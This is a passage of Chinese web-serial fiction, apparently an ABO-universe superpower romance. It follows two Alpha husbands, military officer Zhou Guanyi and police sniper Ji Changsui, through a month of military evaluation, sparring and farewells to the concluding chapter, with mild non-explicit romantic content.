“不会太久。”高组长微笑着,“只是回去欧洲的研究中心为我们提供一点活性异能,好让我们对外触型异能有所防范,以及如何对抗——毕竟这是突破了媒介限制的异能释放行为,我们必须给人类政务组织一个交待。” 高组长接着说:“我们维持了这么多年的和平,并不容易。这么多年,采用了无数合理、不合理的办法,无论是设立研究组织,让普通人与异能者结婚生子,还是像……像《哈利波特》中魔法部那样,在全球各地设立异能者管理局……是的我们曾经一度绝望到去学习文学影视作品,所以请求您,帮助我们渡过难关。” 不得不说,高组长这一套下来确实让季长岁微微动容。 他们是有些手段的,否也也不会叫郭祁这样心甘情愿地坐牢。季长岁犹疑之际,周观逸再次站起来:“我们理解您与研究组织的心情和顾虑,我们会把反馈报告发过去给您,至于郭女士的问题,您可以带着您的研究员在总军区常住,这里有空房间和食堂。” 说完,周观逸合上电脑。这是会议结束的信号——会议也确实结束了,军区开会不像外头的公司企业,一两件事翻来覆去说个没完。他们汇报完“蝴蝶病毒”的全部成分以及其作用方法,宣布对郭祁和季长岁这两个出现外触型异能的异能者进行军区监管调查,就到此为止。 周观逸合上电脑后其他人跟着收拾自己面前的东西。季长岁把手铐拎起来示意了下:“我要继续戴吗?” “戴什么戴。”周观逸拿好电脑、笔记本和手机通讯器这些设备,“走了。” “哦。” 军人就是这样,他们绝对服从自己长官的命令,全然不管周围来者何人,什么全球异能者协会什么研究组织,长官说走他就走。管你们的。 “好了。”高组长小声制止自己两个部下交头接耳。一起过来的新监管小组成员起身走过来,他们半围着高组长,等待她有什么方案。 高组长摘下眼镜揉了揉,再戴回去,表情很是无奈:“没有办法,总军区就是这样,而且季长岁的能力太强,不可能强行带走,看见他那个手铐了吗,军方的抑制手铐在理论上是可以抑制住高阶异能者,在他手上根本没用,你可以认为这世界上没有能够从物理上限制他的东西。” 她部下之一问道:“可是郭祁怎么办?” “我会再去找她聊聊。”高组长说,“她一直比较偏向我们,心软是她的致命点。” 郭祁在犹豫。 她攥着妹妹的手,站在周观逸面前:“周……先生?” “都可以。”周观逸说,“称呼无所谓,您先把这个看一下。” 总军区实验楼楼下的空地,郭祁身边没有任何监管限制她的人,只有她妹妹。除开周观逸,所有人距离她两米开外。 周观逸递给她一份纸质材料:“这是我们会对您进行的一系列检查,以及在最近一个月里,您不适合外出工作。您的身体衰老速度在基因预演中表现非常不好,长久的跋涉和驱动精神力对您造成了很大的能量消耗。这样程度的消耗换作其他高阶异能者,恐怕都已经衰竭了。” 郭祁接过来,打开第一页看了几行就合上了:“抱歉,最近眼睛一盯着字就发酸。” “这是连带现象。”周观逸点头,“您需要休息,请上楼吧,房间我们尽力布置得舒适。” “谢谢您。”郭祁轻轻颔首。 季长岁看着她们姐妹俩进去实验楼后,又看看周观逸:“我也进去吗?” “你不用。”周观逸将通讯器插在腰带上,“你跟我去靶场。” “我到你这儿加班了?” “你来不来。” “来。” 总军区的靶场相当宽阔,一声枪响都听不见回声,声波荡漾到地平线去。季长岁深深吸了一口气,闭上眼,再睁开,问:“长官我枪呢?” “今天靶场不开。”周观逸笑出来了。 “敢耍老子。” “没有,陪我练练。”周观逸说着就开始脱战术腰带。 这个动作把季长岁惊着了:“这么狂野吗老公,你们总军区靶场没有监控的?” “……”周观逸叹气,继续拆手腕上的装备和弹药背带,“陪我练练搏击,老公。” 军区搏击训练是每日活动中的一个固定项目,周观逸在总军区没有对手,同军衔已经没人愿意跟他对战了,当然,只是意愿上的,该练还是硬着头皮练。 季长岁眯了眯眼,笑了:“想挨揍了是吧。” “想死了。”周观逸跟着笑。 两人默契地后退几步拉开些距离。地上铺有草皮,空旷无人的靶场中央,远处一排靶子静静地在那儿。 周观逸的军靴靴筒外侧有一把短刀,他抽出来,弯腰在地上划线。他围着季长岁周围画出一个圈儿,季长岁也看出来了,这大约就是一个标准八角笼的区域。 “过线输啊。”周观逸将刀扔出去,“来吧,” 要说自由搏击,平时季长岁会在闲暇时看些比赛。近些年比赛跟实战越来越靠拢,前些年以泰拳为主导的自由搏击比赛里,最近传统拳击又回到排行榜顶端。 作为站姿格斗上限最高的传统拳击,在最近也让季长岁产生了兴趣。他是会的,他也跟周观逸一样苦于许久没有对手。 并且有一个非常重要的元素,面对周观逸,此时此刻,没有一丁点失控的恐慌。 猛攻、摆拳,两人同时出拳,并且都选择了传统拳击招式。季长岁上步先潜再摆拳,周观逸侧身一抹、屈臂挡、一个寸劲直朝着季长岁胸口中庭。季长岁轻松侧身闪,下身绕步,赞道:“不错啊,出拳速度可以。” 周观逸的视线跟着他,手上跟他扭劲儿周旋,绕臂、化劲,接着一个擒腕!季长岁显然错愕了下,先闪避直拳,反手再擒腕,将周观逸向自己拽,同时提膝。他没选择提膝爆头,而是击其胸。 “别舍不得啊。”周观逸下推掌侧步闪,又借势绕步去季长岁背后,扫腿,裸绞。 按理说裸绞下一招是背摔了,但周观逸没摔他。季长岁回头,话又还给他:“别舍不得啊。” 周观逸脸向前凑亲了他一口。 “……”季长岁无奈了,叹气,抓住他绞着自己的手,一翻、绕出来。 翻拳直击、冲拳。周观逸格挡、闪。季长岁上步鞭拳、高鞭腿、高扫腿,漂亮得不行。周观逸下潜、挡、虚招晃他、摇闪,垫步上前来却没有跟着踹—— “唉。”季长岁被他一扑,没再闪了,两个人一起倒下来。季长岁仰面躺着,看着天,叹气:“玩够了吗?” “还行。”周观逸躺在他旁边,手挪过去跟他牵着,“你可能要在总军区待一个月。” “蜜月?” “那太委屈了。”周观逸枕着一条手臂,“先待着吧,我有办法的。” “我住哪儿啊,在你们这儿蹲监牢吗?” 周观逸侧过头看着他:“监牢关不住你,你只能跟我住一起。” 季长岁也转过头来,手拽掉一根比较戳脸的草:“言下之意,你关得住我?” “目前放眼世界只有我关得住你了吧?” “好像还真是。”季长岁说。 第65章 第65章“总之就是这样。”…… “哇——” “天哪亲亲了欸。” “真亲啊,我还以为他们是那种联姻。” 季长岁在总军区接受的“评估”内容就是跟在周观逸旁边,由这位陆军最强战力进行全天盯防——说是盯防,实则周长官清晨起来拉练的时候他都还没睡醒,拉练结束还得从食堂给他带些早餐回宿舍。 这会儿也是,季长岁跟着他来开会。才刚刚到门口,听见里边此起彼伏的怪异动静……季长岁好奇地探了探头,紧接着一声“靠”脱口而出。 会议室里,墙上一块内嵌式的屏幕,约莫五六个军人脑袋齐齐望着它,有男有女,大家仿佛不是在看录像资料而是在看什么不得了的难得一见的节目。 果然,走进去一看。 是他们俩在希拉斯马戏团斗兽场里的监控画面。所以非常合理的,他们看见了那个吻。 大家细细观察,这是对季长岁出现外触异能所必须的研究过程,他们要好好查看季长岁近期的战斗记录,自然也包括从希拉斯马戏团那里搜罗来的录像。 “哇哦。”又有人发出类似的感叹。 和季长岁记忆里的一样,那个吻并非点到即止,那是个很深的舌吻,对,和屏幕里目前播放的一样,他怀疑那个斗兽场里有个幕后导演在操纵机位切换,因为刚刚摇摄到他们佩戴婚戒的手上。 “咳。”周观逸用非常古朴的方式提醒了下大家自己已经到了。 所以说人心虚起来真是没救,这些人有一个算一个,脸上表情变得像非遗传承,正经得让季长岁都怀疑刚刚那画面是自己的幻觉。 重点是屏幕里那两个人还在亲。 也不晓得是不是斗兽场那个奇葩导演在慢放,还抱住了,抱住了怎么不松嘴。季长岁瞄了眼周观逸,后者从容不迫打开电脑,然后去看屏幕,轻描淡写道:“这个铐给我一份。” “明白。”部下说。 接着易衡到了,他迟到了几分钟,坐下后先跟大家解释了一下:“抱歉啊,实验楼有个样本暴动,几个研究员被击昏,我过去处理了一下。这是什么,马戏团监控吗?带我一起从头再看一遍吧,抱歉。” “……”季长岁坐那儿很是无奈。不知道这位易部长对双A婚姻持有怎样的态度,现下虽然说社会包容度很高,双A双o登记结婚也不再是为人侧目的事情,但包容度是正相关的,包容这类“小众”事情的同时,对“小众”事件的反抗也十分包容。 于是第二遍播放,大家又一次欣赏到了季长岁扑过去的那个吻。然后吻变成了拥吻,季长岁小心观察易衡的表情,发现是自己多虑了,对方无比认真,眼神坚定而正直。 易衡问:“季警官,请问在那个情形下你为什么要用亲吻打断周长官的净化异能?” 季长岁答:“当时情况紧急,只有一个目的就是活着出去,无论用什么办法。” 易衡点头,拔掉笔帽,在他纸上的某一栏打了个分,接着问:“在驱动萨奥3号的时候,你对这台机器的操作有什么看法吗?” 季长岁没想到会是这个问题,他如实相告:“操作细节太多了,萨奥3号的制造时间应该比较久远,缺乏机械部件之间的连带契合度,它们几条触须之间的闪避和交错完全依靠相斥效果和驾驶员的判断,所以它对操纵者有极高的要求,甚至可以说是太严苛的要求,没必要啊。” 易衡观察着他,不过没有带着敌意或是“我一定要从你身上挖点什么出来”的那种意思。易衡又问:“你在操纵萨奥3号时,是完全使用异能驱动吗?” “是的,它只有少量燃料剩余。” “使用了多少异能?” “大约40%。” “全程吗?” “是的。” 易衡换了个眼神看着他。周观逸在做会议记录,文档里打着字,抬眼,说:“易部长,他的异能存储量大约是他父亲季亦华的1.5倍。” “啊?”季长岁一转头,“这是怎么知道的?” “昨晚不是告诉你了吗。”周观逸声音比较轻,但又没轻到窃窃私语的程度,大家勉强能听见,“叫你持续驱动进那个小盒子,我告诉过你了,是异能存储检测器。” “哦……”季长岁想起来了,说,“是那个啊。” 然后他靠近,解释:“不是不记得了,是当时你要我干嘛我就干嘛了,根本没意识。” “好了不要再说了。”周观逸制止他。 昨晚的事情属实是回忆起来让人脸红。周观逸显然不是个厚脸皮,但瞧着他倒从容淡定,面不改色:“好吧。”那就不说了。 季长岁坐好。 会议很简单,基本是在询问季长岁一些关于异能驱动的问题。主要围绕萨奥3号那台机器,甚至到最后季长岁都觉得这会议不是在审他,是在通过他来对萨奥3号进行实战了解。 总军区的日子过得比他想象中轻松愉快得多,周观逸原本有外出任务,这整整一个月都留在总军区处理季长岁和郭祁的事情。 倒是桃榔市局杨局长忧心忡忡,总认为季长岁在这里会被严刑拷打……然后季长岁把这些人有一个算一个全杀了。所以易衡部长时常能接到杨局长的电话,尽管其实没什么事情,杨局长颇为没话找话地询问一些无关痛痒的话题。 比如有天,杨局打电话过来问的是,他们小两口还好吧? 易衡真是有一种不晓得怎么接才能让这通电话不会非常尴尬……他只能硬着头皮跟杨局说:“要不我们视频一下吧,我很难用语言描述季警官现在在做的事情。” 杨局长那边欣然同意,他们挂断了电话,切换成通讯软件,打开视频通话—— 杨局长愣了下。 画面里是总军区的靶场,但没有人在做打靶训练。时间是傍晚六点十五分,天边漫漫一片火烧云,像是秋里的枫叶齐齐飞上了天。 靶场中间十来个穿军装的在用炉子烤肉,季长岁像个大爷坐在露营椅里,一手拎着啤酒瓶,一手拿着mp7冲锋枪。喝一口酒,开一枪,正中红心,众人欢呼喝彩。 他喝得都快从椅子滑下去了,枪仍然精准,不偏不倚。 然后周观逸走过来,弯腰低头亲了亲他,说了几句什么,杨局长这边听不见也看不清唇形。 “总之就是这样。”易衡说。 “好吧。”杨局长磕巴了下,“谢谢。” 第66章 第66章季长岁满脑子啊他没穿。…… 萨奥3号的图纸已经在总军区军械库里躺了二十余年。 季长岁在总军区接受各个部门的评估,说是评估,他更愿意称之为“萨奥3号驾驶后工作总结”。较为轻松的体现是这份总结由问卷的形式而不是自己对着一篇空白文档想到哪写到哪。 所以他待在这儿蛮舒服的,虽然他觉得舒服的主要因素是周观逸几乎24小时贴在身边,以“监管”的名义。并且周观逸每3小时上报一次季长岁的状态,导致总署大楼信息部的人一度非常无语,甚至有时会无视——因为根本没什么值得观察的!这位桃榔来的警官要么在睡觉要么在补觉要么在吃饭要么在靶场玩。 唯一值得信息部观察分析的是他每天会跟周观逸在训练室搏击,众所周知,季长岁曾在被迷幻状态下失控杀过人,所以一到格斗环节,信息部所有人调整坐姿专心致志。 结果往往是令人无语的,信息部24小时有人在岗,大家8小时轮班。屏幕上有季长岁在总军区的行动轨迹、异能波动数值、异能输出量、每秒造成的伤害以及每段伤害峰值出现的环境情况。 譬如这天。 格斗训练室监控,两个人在过招。起初是比较正常的招式,季长岁上步擒腕侧身过肩摔,周观逸反勾他脖子以防自己被反摔过去,季长岁灵敏的一个后撤步衔接绕步来到他面前……嗯,非常明智的选择,以防周观逸下一步反绞自己,果然,周观逸见反绞不成,一个贴面上去干脆正面右摆拳顺势趁他闪避再勾他侧摔。 嗯嗯。 信息部的人们不约而同有眼镜的推眼镜,没眼镜的搓下巴,不愧是我们陆军护卫队队长啊,这瞬息万变的局势判断,这毫不留情的……等等。 怎么亲上了。 看不下去了。 “这招太阴险了,长官。”季长岁被狠亲了一下,手上卸力,停止反抗,“你再这样,搏击训练前我要给你戴止咬器了。” “你还记得我们有这个东西啊?”周观逸抓住他的手向自己后颈带过去,“来,你摸摸。” “……”季长岁心虚,立刻扯了个谄媚的笑出来,然后顺势往垫子上一倒,“好了好了你赢了,去计点吧。” 他这么往后倒,周观逸跟着也压下来,季长岁手掌盖在他本该伏于皮肤之下很平坦的,但这时候肿得不正常,甚至一碰就会痛的Alpha腺体上。 昨晚季长岁有些狠了,没忍住,周观逸甚至还穿着浴袍头发都没擦干。不过正因为头发没擦干,几道湿漉漉的微卷的刘海在眼角那儿晃荡,还回头问他:我内裤呢? 季长岁满脑子啊他没穿。 那就不用穿了。 总之Alpha的腺体不经咬,季长岁的牙口是真不错,昨晚边咬边哄,搞得周观逸又痛又爽。所以这时候手摸上去,肿得可怜的后脖子让季长岁挺心疼的。 昨晚已经心疼过了,老老实实捧着他脸亲吻和道歉。从前看不上那些一勾就失去理智的Alpha,当初在信息素科和周观逸做信息素匹配测试,一个失控的omega就让整个候诊区的Alpha蠢蠢欲动,甚至他们自己的伴侣就在身边。所以季长岁对Alpha持有很严重的偏见,这位警官严以律己严已律人,他自己对信息素的抗拒能力强得令人发指就觉得自己这个Alpha能做到那么全世界的Alpha也应当如此。 结果却是他对自己这个区区1.36%匹配度的伴侣连啃带咬,夜里给周观逸抹药的时候在心里扇自己耳刮子,真是没用的Alpha。 周观逸在训练室的记录系统上输入自己胜场+1,随后侧过身回头,眼神幽幽:“走吧,帮我换个药。” “好嘞!”季长岁一骨碌从垫子爬起来,笑嘻嘻地跟上去。 最近信息部的人所收录的信息就是这样,每天写总结报告都不好意思往领导邮箱里发,因为此前的监管要求是事无巨细,任何微小事件都不能放过,外触型异能者相当危险! 虽然说目前在监管目标的活动范围内,危险事件是他们的周长官。 但还是要汇报的。而且这种东西越写就越没所谓了,第一次第二次可能会有点难为情,写到第三次第四次已经非常自然地开始表述,甚至信息部的人会依据事实添加一些形容词,譬如“监管目标今日与主要监管者在训练室接吻,恩爱非常”这样的描述。 起初他们还会考虑一下领导看见报告会不会太尴尬,现在已经完全没这种烦恼,甚至到这个月的下旬,信息部的人已经抱着“你不是要看报告吗,来吧一次看个够”这样的心态。 一个月过得很快。 季长岁的评估也很顺利,他的稳定性比总军区实验楼里上班的研究员还强。信息素、异能波动、搏击时的血压心率、酒后……以及一系列虚拟场景,季长岁无比从容。 挑不出毛病,自然,可能总军区从一开始就没想从季长岁身上挑出什么毛病。 直到本月最后一周的礼拜一,全体会议,总军区最高负责人宣读了季长岁的评估报告结论,季长岁是个身心健康、情绪稳定、信息素可控的人。非常正常。 “那么,”负责人看向他,“这个月耽误季警官工作了,昨天下午我跟杨局长通过电话,已经提前给他讲过你的评估结果,他希望你在三天内返回桃榔,让我转告你不要留恋,尽早离开我们这个……” 季长岁见他停顿了,于是换上求知的目光:“这个……?” “尽早离开我们这个是非之地。”负责人看起来是个军衔高得很可怕的那种人。季长岁抿着嘴,带着抱歉的语气:“不好意思啊,我们局长他可能……” “哈哈哈哈哈哈没事没事。”对方笑着一摆手,“我们是老朋友了,没事的。” “那就好。”季长岁点头,“原计划也就是这几天该回去了,在这边跟度假似的,很开心,多谢大家照顾。” 他说的是真心话。季长岁的性子不温不火,从前一直如此,上班下班,出任务收工。他一直被放在很高很远的地方,带着他的高精狙,出于异能特性,他做狙击工作时不需要观察员,所以从来都是一个人。 在总军区真的很开心,一群人托他的福一个月没去出任务,尤其是周观逸。 “这个带走吗?”周观逸从宿舍的卫生间出来,拿着季长岁的浴巾,“新买的,刚用一个月,带上吧。” “好。”季长岁走过去拿着,抓在手里。 来到这边住之后的吃穿用度都是周观逸帮他理得明明白白,小到这条浴巾,大到一群军官在靶场烤肉,让他边喝酒边打靶。 季长岁觉得蜜月不过如此了吧。浴巾很柔软,白色的,每天在太阳底下晒,散发着舒服的气味。他攥着没动,周观逸又拿过去,好好折起来,放进密封袋,搁到他行李箱去。 周观逸的宿舍不算宽敞,他一个人住的话可能刚刚好。这是个一居室,一间卧室一间小客厅和独立的厨房卫生间。 一个月来他们在这间宿舍的每个地方都做过,两个人有来有回,温柔礼貌的有过,险些把对方干成对半的也有。 季长岁继续收拾行李,他没想到只是住了一个月就有这么多东西要收拾。周观逸给他买的印着萨奥3号的白t恤,季长岁的评价是“赶紧改良一下,开一次累死人”。 今天是在总军区的最后一天。 上午例会结束后去了食堂,有季长岁喜欢的炙烤羊肉和水果酸奶。吃午餐的时候季长岁总觉得周观逸有话要说却一直忍着,他没多问,大约是舍不得自己,有些难以启齿。 两个人沉默地吃完,离开食堂没多久,迎面小跑过来陆军护卫队的队员,先跟周观逸敬礼,接着说军械部的长官找他们。 总军区各个部门都对季长岁进行过评估,季长岁记得军械部长官,是位很干练的女士。他点头说好,跟周观逸一起过去了。 军械部就在军械库的边上,地下室是连通的,整个军械部的地下储存着现今存在的高精尖武器。和平年代的军械部主要做武器改良和调配炸-药,没敌军炸就卖给民营企业去炸山采矿,总之不闲着。 季长岁到那儿的时候,程部长正在看实验员调新一批的乳化炸-药,她瞧见监控里正门有人进来了,摘下护目镜走出去。全程两人都能看见,因为这边统一是玻璃隔断。 “来了啊。”程部长脱掉白大褂挂上,里头是一套迷彩,“坐,冰箱在那儿,喝什么自己拿,稍等我一下。” 季长岁在沙发坐下,看着程部长进去另一个房间,片刻后拿着平板电脑出来了。 “周队,上回陆军护卫队要的300把轻步枪已经收拾出来了,晚点你叫人来拿。” 周观逸点头:“好,辛苦。” 程部长在他们对面坐下:“说正事吧,季警官,确定要回桃榔吗?” 季长岁纳闷了:“回啊,当然了,我局里还一堆事儿呢。” 程部长把平板放下,认真看着他:“现在萨奥3号是我在进行改良,虽然它本体遗留在萨奥小镇,是因为目前我们没有能力驾驶它,带回来又需要极高的成本所以埋在那里,倒是没想到被马戏团给……说这些都没用了。我看了之前你对萨奥3号的评价和驾驶感受,想问问你,愿意加入军械部吗?” 周观逸应该是提前知晓了,这时候没有太大的情绪波动,甚至可以说非常平静。 程部长继续说:“萨奥3号的上一位驾驶员是你父亲,你在没有接受任何训练以及对萨奥3号的功能了解之前成功驾驶它并作战,已经足够证明你有极高的天赋,所以你愿不愿意留在我们这里?” 她说完,瞄了下周观逸。 只可以后者没有为她搭腔,这点其实让她颇为遗憾。这个月她自然知道两人感情甚笃,所以她才把两个人都喊过来,明面上通知一下周观逸你们要的枪可以取了,实际上她希望周观逸帮着劝一劝。 季长岁只意外了一下,两秒多而已,便笑了,挠挠头:“谢谢您赏识,但是……真不行,我得回去。” “可据我所知你在市局只是……”程部长停顿了下,“只是以一己之力去承担一个狙击小组的任务。” “您说的是事实,我在市局最高等级的任务就是找个别人看不见的地方架着一把狙。”季长岁点头,先看了眼周观逸,然后说:“但市局需要我,此前我有两次格斗期间失控杀人,都是杨局长把我捞出来,我也不能弃他们于不顾。还是谢谢您。” “这……” 周观逸适时咳嗽了一下,说:“程部长,辛苦了,他还有些东西没收拾,没别的事的话,我们先走了。” “好吧……” 回去宿舍的路上艳阳高照,季长岁跟在他后边两三步。 路上没什么人,这个时间总军区大部分人在午休。 季长岁加快脚步走到他旁边:“没生气吧?” 周观逸“嗯?”了一下,之后才明白他在说刚刚拒绝留在军区那件事,于是笑笑,在他头发上拍了两下:“你想什么呢,你是回桃榔又不是去外太空。” 季长岁笑了:“我怕你觉得……那什么。” “没。”周观逸看着他,“真的,没什么的,我不是那种高中分个班约等于相隔一道天堑的小孩。” “对了。”季长岁走着走着忽然停下。 “怎么?” “但是萨奥3号……”季长岁看着他,“如果以后军械部做好了改良,有需要的话,还是可以叫我过来。” “那是你母亲的作品。”周观逸说,“无论你要不要驾驶,按照我们这边的传统,再次正式启动它之前,都会告知你。” “好。”季长岁点头。 第67章【完结章】 第67章 第67章完结章 离开总军区的过程比季长岁想象的要顺利,讲真的他很害怕别离时候两个人依依不舍抹着眼泪不撒手,虽说他知道周观逸不是那样不撒手的人,但他确实怕—— 怕周观逸眼泪一往下掉,他就转身走去军械部,跟程部长说给我找个班上吧我得留在这儿陪我老公。 幸好,全程周观逸从容冷静。 “证件,票据,评估报告。”总署大楼楼下,周观逸一件件清点交给他,“这把雷明顿给你用,两个弹匣,不用还了,饭卡……饭卡还是我留着吧,行了,去吧。” “哦……”季长岁背好包,是个防水防撕的登山包,里头都是这阵子的生活用品。 周观逸像是在一个普通的清晨办一件公事,他旁边站着两个部下和副队长沈浪,季长岁先后跟他们握手,军区有班车去往最近的车站,季长岁坐班车先去车站,然后从车站有直达机场的公车。 “路上小心。”周观逸最后过来跟他轻轻抱了一下,这个拥抱基本也就停留在礼节上。 季长岁一直看着他:“好。我回头给你……发消息。” “嗯。” 就这样离开了。 因为没有人泛起太强烈的情绪,所以季长岁一直从军区到上飞机再落地都没有太大的波澜。直到他边开机边走向机场行李传输带,手机在启动界面稍微卡壳了一会儿,之后加载出界面,它慢吞吞地在人潮涌动的机场里好不容易争到了一些网络信号,微信嗡嗡两声进来了几条消息。 他打开微信,杨局长的,何书清的,群里@他的。 周观逸的一条,他点开:我从现在开始想你了。 这条发送过来时他刚刚起飞,所以是看着值机时间发过来的,还挺纯情,知道自己要关机,发过来不会第一时间看见,留了个空白时间。 季长岁低头笑着回复:周长官我降落了,一会儿拿了行李回家我再想你啊。 拿到包背上往外走的时候周观逸回复了:为什么要回家才想? 季长岁笑了起来,机场到达很多人,嘈杂声不断,里三层外三层环绕着他。他按着说话键:“因为我等下要边想你边洗澡。” 周观逸戴上耳机又听了一遍。 听完摘下来,锁屏手机,跟着队伍一起上车。 他们今天要去把萨奥3号原型机带回来,此前人们认为它埋在萨奥小镇的地下是万无一失,没承想希拉斯早早打上了它的主意。 不能将它继续留在那里了。周观逸此次作为陆军护卫保护军械部的人一同前往,他们带上了军械部最新研发的起重设备,联络了大件运输作军用,终于在这天全部准备就绪出发。 周观逸和程部长一辆车,沈浪开车,周观逸在副驾抱着枪看手机。 之前在跟季长岁聊天,这会儿季长岁要去边想他边洗澡了,季长岁最后一条消息是叫他别坐车玩儿手机,免得晕车。 周观逸不晕车的,他还记得上次晕车,从昶州医院往回去,何书清在开车,他不得不去闻季长岁的信息素来缓解晕车的强烈不适感。 恍然一想,像是上辈子的事儿了。 可是再想想,又没那么远,周观逸将手机装好,偏头看车窗外,已经开出四百多公里,他们计划在下一个服务区给车加油,补给休息。 天气很好,周观逸嘴里嚼着一颗果味软糖,扶着加油枪,扭头看看表盘上公升数在跳着。后面还有两千多公里,在认识季长岁以前,周观逸是个十足沉稳的人,在军区,无论出任务还是平时训练,他永远按部就班,稳定性极高。 沈浪会忽然想起他之前是个稳定性极高的人,因为他从没见过周观逸嚼糖果……而且是现在这个出差的时间。 “队长。”沈浪买好矿泉水和饼干薯片之类的,放进车里,走过来,“程部长还在卫生间,我们要不要在里边多买点吃的,这样下一次停车就可以等到晚上。” 周观逸把加油枪挂回去,想了想时间:“可以,去吧。” 风很温柔,高速公路服务区里停着不少车,不远处遮阳篷下边公共桌椅聚着几家人在那儿吃泡面。放平时,周观逸扫一眼过去只是会判定这些是普通群众,没有携带枪械。可现在他简直看见什么都会想到季长岁。 是不是回了桃榔继续吃便利店,他们市局食堂好吃吗,会想要糖果吗……今天送他走的时候没给他装糖果,因为周观逸不清楚他在桃榔是走的什么风格,贸然从兜里摸出颗五彩斑斓的糖会不会被同事拿去当闲聊的话题。 其实还是舍不得的,但他表现得十分稳定。 “队长!”沈浪远远喊了他一声,“小申有点不舒服,我去帮他们开车,这辆你开一下。” “行。”周观逸靠在车尾的,站直起来走去驾驶室打开车门坐进去。 总之就是一直想到季长岁。想起他们从昶州去到萨奥小镇开过的那片沙漠,燃油耗尽后季长岁驱动着那辆车,从容轻松,游刃有余。想起萨奥3号那个庞然巨物在马戏团里无差别乱杀。 沈浪坐上副驾驶,扣安全带,随口一问:“不知道季警官回去市局了没。” 啊又提。周观逸扶着方向盘驶离服务区:“到了,在休息。” “这样子啊,不过他真的好厉害,程部长说她还没见过未经训练就能驾驶萨奥3号的人。”沈浪真诚道。 把周观逸说得都有点骄傲了,想念不堪言,借了个理由跟别人聊他倒也不错:“对,他父亲是季亦华,可见他比他父亲天赋更强。” “哦!”沈浪恍然,诧异了下后又觉得合理,“难怪总觉得他眼熟。” “眼熟?”周观逸不解。 “军械部合照里有季长官,就挂在程部长办公室外面走廊,我以前在军械部值班。”沈浪解释。 车队继续走。 对讲里保持着每隔一阵子汇报后边大件运输车的状况,那个能够把萨奥3号从土里拎起来的最新研发的起重设备。由程部长带领一群研究人员昼夜不分肝出来的。 说到军械部,周观逸有些沉默。 总军区军械部对他来讲有些不那么美好的回忆,不过他忘了沈浪刚进总军区是在军械部值班站岗的。现下想想,周观逸似乎咂摸出了什么。 “沈浪。” “啊?”沈浪坐车坐得快睡着了,陡然一惊,“队长,怎么了。” 这次不是严肃的行军任务,只是去取回大型机甲,而且目前还在治安覆盖的城市范围,所以大家相对比较轻松。 沈浪被忽然这么一叫,瞌睡全无。 周观逸面上看起来很平静:“季长岁应该问过你一些军械部的往事吧。” “对啊。”沈浪答得理所当然,“咱们在昶州的时候,有天何书清和白珊宇他们一块儿去吃饭,吃烤肉那天,他问了我一下,说军械部从前廖部长是怎么……怎么没的。” 廖寒是周观逸的母亲。这个连带关系是很容易查到的,甚至都不用查,在系统里搜一搜就出来了。有些事情是公开的秘密,无伤大雅的那种,就像季长岁四年前在恶作剧影响下失控杀了柯帆,这事儿在桃榔市局不是秘密,但大家没事不会提起。 周观逸的母亲也是。在总军区大家差不多都知道,但不会提。 “我……”沈浪骤然后脊冰凉,整个人绷直起来,“对不起长官,我不知道…我的意思是,我以为这……是互通的?就像我们也都知道季警官他…徒手打死了他老师。” 沈浪找了个莫名其妙的词儿。 好在周观逸不是很在乎,他笑了下:“没事,我理解。我的意思是你全都告诉过他?” “……嗯。” 沈浪的出发点比较随意,一来当时他们结婚了,并且在沈浪看来他们感情很好。一块儿出任务,一起出去逛街,尤其玩游戏的时候周观逸还说什么夫妻共同财产。沈浪这脑瓜子叫他出任务听指令那是一等一的,但考虑这些因素就比较耿直。 沈浪如实招来:“那天季警官问我廖部长是怎么没的,我就告诉他了……廖部长从前遭人毒害,是一种异能神经上的毒害方式,当时有间谍潜入,他听着的时候不像单纯好奇八卦,像是……我形容不好,像是他很想了解你。” 周观逸打灯变了个道,他是军车,从遮阳板侧边拿下来无线电:“总军区0602号车及后车请求高速交警压车让道。” 无线电里很快收到交警的回复,因为事前交流过,他们早已准备就绪。周观逸挂会通讯器,跟沈浪说:“没事的,其实这些事情他不问你,自己也能查到。” 不过周观逸想问的不是这个:“所以我不是跟你兴师问罪,没什么的,我是想知道……他当时听到我做了些什么之后,是什么反应。” 沈浪回忆了一会儿,回答:“他蛮平淡的。” “哦……”预料之中。 “他听见我跟他说……当时廖部长的空气限制异能致使多个阻止她击打卫星的军官死亡,季警官听到这儿的时候没什么反应,直到我说……当时你才十几岁,冲进去那间几乎抽光氧气的操作间,用净化异能控制住廖部长的时候,他特别认真地盯着我。” 周观逸想象了下那个画面,笑了:“好吧。” 高速交警过来压住了车流控制住速度,在车流中为他们的车截出一个豁口,好叫他们先过收费站换去另一条高速。 周观逸继续认真开车,太阳慢慢向西斜去,一列车队浩浩荡荡地奔去。 其实在之前他隐约有一些季长岁已经知道了的感觉,只是那位不擅长表达,而且有时方向会歪。譬如在昶州逛街那天买的点心他直接一递说全都给自己,譬如那之后过了一阵子带自己去靶场玩,还哄骗自己故意没中靶。 有一种心照不宣是他知道我知道我也知道他知道——好吧这么一想是有点绕,周观逸换手扶方向盘,拿起水杯吸了一口。 “没事儿吧?”沈浪心有余悸,“我是说,这些事情告诉季警官……真的没事儿吧?” “没事儿他是我老公。”周观逸说。 他老公这个时间刚从市局下班。 桃榔有很漂亮的晚霞,在天边荡着,附近有几栋写字楼窗户贴了偏光的玻璃膜,拒绝晚霞进入加班场所,可能付不起它们的加班费吧。季长岁拿出手机来打车,原本想开个警车回去,但有点懒。 主要是有点想念周观逸,想发会儿呆。 “喂?”季长岁打开家门进去,不自觉笑起来,“你们到了?这么快?” “没有,在加油休息。” “加油站打电话?” “在小超市门口。”周观逸换了只手拿手机,换右手拎袋子,“你吃过晚饭了?” “嗯。”季长岁带上门,换鞋,把通讯器啊警车钥匙啊什么的放下,一系列叮叮咚咚的声音,“下午开会,讲了下赵砚白的事儿,我下午才知道,她为了确保血统纯净,专杀与柯老师有血缘关系的精神类异能者……也幸亏唐枯木生那么多孩子,否则还真未必够她杀。” 周观逸一时无语:“唐枯木要是还活着,估计这时候得疯了。” 季长岁笑了声,肩膀夹着手机开始解皮带:“是啊,市局将她送公检了,应该过不久就要起诉了,柯老师的骨灰也……” “安葬了吗?” 季长岁在沙发坐下,向后靠的过程里发出了些舒服的声音:“还没,存在局里。他活着的时候总说死了撒海里,但我们的习俗总归是入土为安,不晓得,让杨局去琢磨吧。” “也好。”周观逸说。 “你到哪里了?” 周观逸抬头向服务区顶儿上看:“什维塔服务区,警官。” 季长岁一笑:“那快了,不到三个小时了。” “嗯。”周观逸说,“我得继续赶路了,萨奥3号比较麻烦,还不晓得挖它要挖多久。” “欸,等下。” “嗯?” “你有想过……把它开出来吗?” “或许我是净化类异能者。”周观逸一本正经,“并不适合驾驶机甲。” 